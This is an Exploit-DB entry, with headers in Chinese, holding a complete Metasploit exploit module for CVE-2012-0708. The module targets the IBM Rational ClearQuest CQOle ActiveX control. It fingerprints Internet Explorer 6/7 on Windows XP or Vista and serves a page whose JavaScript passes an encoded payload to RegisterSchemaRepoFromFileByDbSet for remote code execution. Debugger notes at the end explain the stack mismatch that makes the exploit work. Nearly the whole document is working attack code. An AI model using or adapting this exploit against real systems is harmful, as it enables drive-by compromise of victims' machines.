标题: IBM Rational ClearQuest CQOle - Remote Code Execution (Metasploit) EDB-ID: 19576 CVE: 2012-0708 类型: REMOTE 平台: WINDOWS 发布日期: 2012-07-05 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::BrowserAutopwn
 autopwn_info({
  :ua_name    => HttpClients::IE,
  :ua_minver  => "6.0",
  :ua_maxver  => "7.0",
  :javascript => true,
  :os_name    => OperatingSystems::WINDOWS,
  :classid    => "{94773112-72E8-11D0-A42E-00A024DED613}",
  :method     => "RegisterSchemaRepoFromFileByDbSet",
  :rank       => NormalRanking
 })

 def initialize(info={})
  super(update_info(info,
   'Name'           => "IBM Rational ClearQuest CQOle Remote Code Execution",
   'Description'    => %q{
     This module exploits a function prototype mismatch on the CQOle ActiveX
    control in IBM Rational ClearQuest < 7.1.1.9, < 7.1.2.6 or < 8.0.0.2 which
    allows reliable remote code execution when DEP isn't enabled.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Andrea Micalizzi aka rgod', # Vulnerability discovery
     'juan vazquez' # Metasploit module
    ],
   'References'     =>
    [
     [ 'CVE', '2012-0708' ],
     [ 'BID', '53170' ],
     [ 'OSVDB', '81443'],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-113/' ],
     [ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21591705' ],
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00"
    },
   'DefaultOptions'  =>
    {
     'ExitFunction'         => "process",
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # cqole.dll 7.1100.0.150
     [ 'Automatic', {} ],
     [ 'IE 6 / IE7 (No DEP)', {} ], # Because of the nature of the vulnerability no DEP is a requisite
    ],
   'Privileged'     => false,
   'DisclosureDate' => "May 19 2012",
   'DefaultTarget'  => 0))
 end

 def get_target(agent)
  #If the user is already specified by the user, we'll just use that
  return target if target.name != 'Automatic'

  if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
   return targets[1]  #IE 6 on Windows XP
  elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
   return targets[1]  #IE 7 on Windows XP
  elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
   return targets[1]  #IE 7 on Windows Vista
  else
   return nil
  end
 end

 def on_request_uri(cli, request)
  agent = request.headers['User-Agent']
  my_target = get_target(agent)

  # Avoid the attack if the victim doesn't have the same setup we're targeting
  if my_target.nil?
   print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
   send_not_found(cli)
   return
  end

  js_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(my_target.arch))
  object_id = rand_text_alpha(rand(8) + 4)
  dbset_value = rand_text_alpha(rand(8) + 4)
  var_payload = rand_text_alpha(rand(8) + 4)

  html = <<-EOS
  <html>
  <body>
  <object id='#{object_id}' classid='clsid:94773112-72E8-11D0-A42E-00A024DED613'></object>
  <script language="JavaScript">
  var #{var_payload} = unescape("#{js_code}")
  #{object_id}.RegisterSchemaRepoFromFileByDbSet("#{dbset_value}", #{var_payload});
  </script>
  </body>
  </html>
  EOS

  html = html.gsub(/^\t\t/, '')

  print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
  send_response(cli, html, {'Content-Type'=>'text/html'})

 end

end

=begin

* RegisterSchemaRepoFromFile and no RegisterSchemaRepoFromFileByDbSet is called:

Breakpoint 0 hit
eax=3190b1a0 ebx=00000000 ecx=03015cf0 edx=7835f5d2 esi=0013e200 edi=0000000c
eip=78371062 esp=0013e204 ebp=0013e2b4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
MFC80U!_AfxDispatchCall+0xe:
78371062 ffd0            call    eax {cqole!OAdSession::RegisterSchemaRepoFromFile (3190b1a0)}

* RegisterSchemaRepoFromFile prototype (it is going to be executed):

.text:31865E40 ; protected: wchar_t * __thiscall OAdAdminSession::RegisterSchemaRepoFromFile(wchar_t const *)

his ret is: retn    4

* RegisterSchemaRepoFromFileByDbSet prototype (it should be executed):

.text:31866280 ; protected: wchar_t * __thiscall OAdAdminSession::RegisterSchemaRepoFromFileByDbSet(wchar_t const *, wchar_t const *)

his ret is: retn    8

* When RegisterSchemaRepoFromFile returns to MFC80U!_AfxDispatchCall it is what happens:

0:000> p
eax=00186864 ebx=00000000 ecx=442d618d edx=00070001 esi=0013e200 edi=0000000c
eip=78371064 esp=0013e208 ebp=0013e2b4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MFC80U!_AfxDispatchCall+0x10:
78371064 c3              ret
0:000> dd esp
0013e208  001dcff4 7835f5d2 fffffffe 78336a3a

ESP is pointing to the second argument of RegisterSchemaRepoFromFileByDbSet and no to the stored EIP on
the stack. The ret from MFC80U!_AfxDispatchCall allows to get control on a reliable way when DEP is
disabled

=end URL: https://www.exploit-db.com/exploits/19576